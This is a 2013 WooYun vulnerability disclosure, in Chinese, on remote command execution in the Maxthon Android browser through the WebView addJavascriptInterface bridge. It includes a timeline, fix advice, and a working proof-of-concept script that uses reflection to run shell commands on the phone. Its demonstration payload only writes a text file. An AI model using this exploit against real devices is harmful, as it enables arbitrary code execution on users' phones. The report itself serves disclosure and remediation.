当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036094

漏洞标题:傲游云手机浏览器远程命令执行漏洞

相关厂商:傲游

漏洞作者: 只抽红梅

提交时间:2013-09-04 16:44

修复时间:2013-11-30 16:45

公开时间:2013-11-30 16:45

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-04: 细节已通知厂商并且等待厂商处理中
2013-09-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-10-29: 细节向核心白帽子及相关领域专家公开
2013-11-08: 细节向普通白帽子公开
2013-11-18: 细节向实习白帽子公开
2013-11-30: 细节向公众公开

简要描述:

没人发么?我来好了!

详细说明:

安卓开发使用 WebView 组件中的 addJavascriptInterface 方法可以把 JAVA 中的方法公开给 JavaScript 调用,但是 JavaScript 在调用该方法的时候又可以反向把 JAVA 代码注入到 JAVA 代码中去执行,既然能够执行 JAVA 代码,这就产生了远程命令执行漏洞,然后就可以在权限范围内对手机做任何事情。
算了不扯了,关于这个漏洞的相信信息请参考下面文章:
http://50.56.33.56/blog/?p=314
http://drops.wooyun.org/papers/548
我觉得这种漏洞的利用有以下条件:
1、客户端应用程序有通过 addJavascriptInterface 公开 JAVA 方法以供 JavaScript 调用(好像是废话哦);
2、用户通过客户端访问的页面内容必须是可控的,并且通过 WebView 组件来完成的;
对于这个漏洞最好的检测方法当然是反编译 apk 文件,查看然后测试了。
我觉得累,这里就拿傲游浏览器来快速对这个漏洞进行测试,过程如下:
1、在安卓手机上安装好傲游浏览器(又是废话);
2、浏览一个页面,内容如下:

<script type="text/javascript">
for(w in window){
document.write(w + "<br/>");
}
</script>


上面代码会遍历所有的 window 对象然后打印到页面上;
3、通过对返回的 window 对象进行目测判断是否存在该漏洞,比如傲游返回的内容:

mx_android_1.png


可以大致判断 mmbrowser 是公开出 JavaScript 调用的(不见得都是对的)
4、构造 POC:

<script type="text/javascript">
function execute(cmdArgs)
{
return mmbrowser.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
try{
execute(["/system/bin/sh","-c","echo 'maxthon browser for android remote command execute' > /sdcard/maxthon.txt"]);
alert("good job!");
}catch(e){
alert(e);
}
</script>


5、访问看效果

mx_android_2.png


mx_android_3.png


mx_android_4.png

漏洞证明:

如下:

mx_android_3.png


mx_android_4.png

修复方案:

借用 livers 的修复方法:
1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。
2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。
3、控制相关权限或者尽可能不要使用js2java的bridge

版权声明:转载请注明来源 只抽红梅@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-11-30 16:45

厂商回复:

最新状态:

2013-09-05:已提交开发处理. 不知道为什么提交了回复还是变成忽略了.